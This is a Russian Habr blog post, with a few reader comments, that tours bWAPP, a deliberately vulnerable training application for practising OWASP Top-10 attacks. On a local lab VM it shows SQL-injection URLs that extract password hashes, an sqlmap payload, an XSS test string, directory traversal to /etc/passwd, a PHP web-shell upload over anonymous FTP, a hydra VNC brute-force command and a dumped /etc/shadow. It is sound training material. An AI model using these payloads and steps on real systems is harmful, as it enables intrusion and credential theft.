Обзор площадки для тестирования веб-уязвимостей OWASP Top-10 на примере bWAPP

    Привет, Хабр!

    В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.

    image



    Краткий ликбез:

    Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.

    Сам топ-10 выглядит следющим образом:




    A1 Внедрение кода
    A2 Некорректная аутентификация и управление сессией
    A3 Межсайтовый скриптинг (XSS)
    A4 Небезопасные прямые ссылки на объекты
    A5 Небезопасная конфигурация
    A6 Утечка чувствительных данных
    A7 Отсутствие контроля доступа к функциональному уровню
    A8 Подделка межсайтовых запросов (CSRF)
    A9 Использование компонентов с известными уязвимостями
    A10 Невалидированные редиректы


    Рейтинг отражает не только распространенность, но и опасность угрозы.

    buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.
    Автор bWAPP — Malik Mesellem (его блог)

    image

    Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.

    Список уязвимостей, что вы встретите в bWAPP:
    • SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
    • Blind SQL and Blind OS Command injection
    • Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
    • Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
    • Cross-Site Request Forgery (CSRF)
    • AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
    • Malicious, unrestricted file uploads and backdoor files
    • Authentication, authorization and session management issues
    • Arbitrary file access and directory traversals
    • Local and remote file inclusions (LFI/RFI)
    • Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
    • HTTP parameter pollution and HTTP response splitting
    • Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
    • Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
    • HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
    • Unvalidated redirects and forwards, and cookie poisoning
    • Cookie poisoning and insecure cryptographic storage
    • Server Side Request Forgery (SSRF)
    • XML External Entity attacks (XXE)



    Что вас ждет в статье:
    • Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ.
    • Прохождение bwapp несколькими способами, не используя веб.


    На кого расчитанна статья:
    • На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями.


    Требования:
    • Жажда знаний
    • Машина, на которой вы развернете bWAPP.
    • Опционально — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре.


    Цель статьи:
    • Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :)


    WARNING!

    Чего не будет в статье:
    1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.
    2. Обзора программ, которые помогают при пентесте.

    Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.
    Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.

    SQL-injection


    Выбираем SQL Injection (GET/Search)

    Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.



    Подставляем кавычку, получаем ошибку:
    http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search
    

    Воспользуемся техникой order by и подберем количество столбцов:
    http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search
    

    Оно равно 7:
    http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search
    

    Дальше используем union:
    http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search
    

    Получаем номера столбцов:


    Получаем имя БД, юзера, хеш пароля:
    http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search
    



    SQL Injection (POST/Search)

    Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:
    В burpsuite открываем наш запрос


    Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.
    Открываем sqlmap и выполняем команду:
    sqlmap -r sql.txt
    



    Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:
    Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
        Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
    

    Просто подставим payload в адресную строку:
    http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search   
    

    тем самым получим токен, что означает, что задача выполнена:



    Или вас интересуют XSS?


    Их здесь полно и на любой вкус.

    Выбираем XSS — Reflected (GET)

    Подставляем
    <script>alert(1);</script>
    





    Просто почитать чужие файлы?



    Откроем Directory Traversal — Files
    http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt
    


    Попробуем подставить /etc/passwd:


    Откроем Directory Traversal — Directories
    http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents
    


    Прочитаем листинг /etc/:


    Тестирование «черным ящиком»


    Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.

    Просканируем цель nmap'ом:

    Nmap scan report for bee-box (192.168.1.18)
    Host is up (0.0050s latency).
    Not shown: 983 closed ports
    PORT     STATE SERVICE
    21/tcp   open  ftp
    22/tcp   open  ssh
    25/tcp   open  smtp
    80/tcp   open  http
    139/tcp  open  netbios-ssn
    443/tcp  open  https
    445/tcp  open  microsoft-ds
    512/tcp  open  exec
    513/tcp  open  login
    514/tcp  open  shell
    666/tcp  open  doom
    3306/tcp open  mysql
    5901/tcp open  vnc-1
    6001/tcp open  X11:1
    8080/tcp open  http-proxy
    8443/tcp open  https-alt
    9080/tcp open  glrpc
    


    Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.

    FTP

    Воспользуемся Dirbuster:

    Dir found: /phpmyadmin/ - 200
    Dir found: /evil/ - 200
    Dir found: /webdav/ - 200
    File found: /webdav/Iron_Man.pdf - 200
    File found: /webdav/Terminator_Salvation.pdf - 200
    File found: /webdav/The_Amazing_Spider-Man.pdf - 200
    File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
    File found: /webdav/The_Dark_Knight_Rises.pdf - 200
    File found: /webdav/The_Incredible_Hulk.pdf - 200
    File found: /webdav/bWAPP_intro.pdf - 200
    


    Тем временем
    nmap --script=ftp*
    

    сообщает, что:

    PORT     STATE SERVICE     VERSION
    21/tcp   open  ftp         ProFTPD 1.3.1
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | -rw-rw-r--   1 root     www-data   543803 Nov  2 22:52 Iron_Man.pdf
    | -rw-rw-r--   1 root     www-data   462949 Nov  2 22:52 Terminator_Salvation.pdf
    | -rw-rw-r--   1 root     www-data   544600 Nov  2 22:52 The_Amazing_Spider-Man.pdf
    | -rw-rw-r--   1 root     www-data   526187 Nov  2 22:52 The_Cabin_in_the_Woods.pdf
    | -rw-rw-r--   1 root     www-data   756522 Nov  2 22:52 The_Dark_Knight_Rises.pdf
    | -rw-rw-r--   1 root     www-data   618117 Nov  2 22:52 The_Incredible_Hulk.pdf
    |_-rw-rw-r--   1 root     www-data  5010042 Nov  2 22:52 bWAPP_intro.pdf
    


    Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.
    Значит будем заливать php шелл.



    Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)



    Наш шелл.

    VNC


    Пробуем подключится по 192.168.1.18:5901



    Хорошо, воспользуемся hydra:

    hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
    




    Коннектимся… тадам! Неожиданно, но это права root'а.
    Раз root, тогда смотрим /etc/shadow

    root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
    bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
    neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
    alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
    thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7:::
    wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
    johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
    selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::
    


    Воспользуемся hashcat'ом для подбора паролей:


    Вот такой улов.

    Заключение


    Bee-box немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.
    Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:
    • Захотели узнать, к примеру, что такое Heartbleed? Легко! Запускаете его в виртуалке в 2 клика мыши.
    • Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант.
    • Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта.


    Список литературы


    Автор bWAPP — Malik Mesellem (его блог)
    Сам Топ-10 OWASP
    Отличная подборка тематических статей от BeLove
    Вторая подборка описание пентест утилит, также от BeLove
    Творение g0tmi1k — сайт, на котором собраны boot2root образы

    Ссылка на виртуальную машину, в архиве 5 гб

    Спасибо за внимание. Отвечу на любые вопросы.
    • +17
    • 47.9k
    • 8
    Share post

    Similar posts

    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 8

      +1
      Что-то havij 1.17 видимо совсем устарел. Не ломает даже этот сайт. Надо другую программку для SQL инъекции искать.

      За информацию спасибо — очень полезно, как раз пишу свой движок сейчас.
        0
        Спасибо, для ваших нужд отличный вариант, действительно.
        0
        Интересно, есть кто, кому удалось реализовать Beast/crime/breach?

        Кстати, помогает, порой, в bwapp'е глянуть в сорцы, так как не всегда понятно, что автор имел в виду.

        Также советую глянуть в сторону pentesterlab
          0
          Автор bWAPP'a, он же руководитель 2дневных курсов по своему детищу, за фоллоу в твиттере отсылает на почту некие (сам не видел) cheatsheet'ы, в которых есть подсказки. Подробнее смотрите в его блоге.

          Пентестер лаб также отличен. Особенно вкладка буткемпа, на которой недавно красовались «40 недель учебу», сейчас страницу переделали под меньшее кол-во пунктов, но она еще информативна.
          0
          Жаль в xss не добавлено задание что-нибудь сделать — угнать куки / выполнить что-нибудь под авторизованным юзером (т.е. прямо написать пейлоад). А имитировать юзера как на CTF — различными рендерилками по крону (cutycapt как пример).
          А вообще такие штуки очень полезны, жаль нет подобных платформ под другие языки (ruby/java/python). А то что php — все кто уже можно на нем примеры показали :)
            +2
            От автора bWAPP. Приятно :)

                +1
                крутяк, когда делал, таких переводов еще не было. Добавил в закладки, а вдруг пригодится, спасибо.

              Only users with full accounts can post comments. Log in, please.